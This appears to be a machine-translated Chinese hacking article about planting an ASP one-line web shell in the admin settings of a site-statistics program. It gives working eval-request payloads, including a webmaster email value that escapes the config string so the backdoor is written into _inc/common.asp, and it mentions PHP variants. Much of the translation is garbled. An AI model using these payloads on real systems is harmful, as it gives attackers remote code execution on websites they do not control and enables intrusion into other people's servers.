Research on the cocoon of the counter statistic program in the background of horse-writing

Source: Evil octal Author: 9xiao
Quote a few words from the latest ocean top eval version, where you need to use the <%eval request (CHR)%>
"The code that you write in the evalexecutepp.htm text box is the code that adds the HTML text box that was generated after the conversion of the 2006X2.exe. What is a text box everybody knows? If you don't know, check out the HTML. This way, you can use your own to do the C end. If not, you'll use my out-of-the-box "2006c example. htm" Bar.
S-End is <%eval (Request ("#")%> or <%eval request ("#")%> or <%eval request (CHR)%> etc., or do not use the%, your own deformation bar, not more said
I set up a local environment, the actual operation can not write wrong or regret will not be anxious, in the management of the mailbox that the Cnhacker@263.net ": Eval request (Chr (35))//Copy the past, click Save, look at the contents of _inc/common.asp
Webmasteremail = "Cnhacker@263.net\": Eval request (Chr (35))//"Hey hei to execute, hey!" Successful, the statistical program in the background take will be "escaped to" so this used Evalrequest (Chr (35)) hehe,//is a note,: In the ASP is the line, the premise is that you can enter the background, (many admin password is a back-hehe) PHP can also be like this hey, And more than the place the ASP uses! Need to move the configuration statement before and after collocation good, make use of some symbols.
Another note: Black protection 8 also mentioned a similar method here on the post, black Defense code can be written as 9xiao "%><%eval request (CHR)"%><% ', this method is also more ingenious,/and ' in the ASP are annotation statements! This statistic program also has Bauku place this is not announced!
About PHP can refer to Saiy write Phpwind backstage get shell three kinds of methods.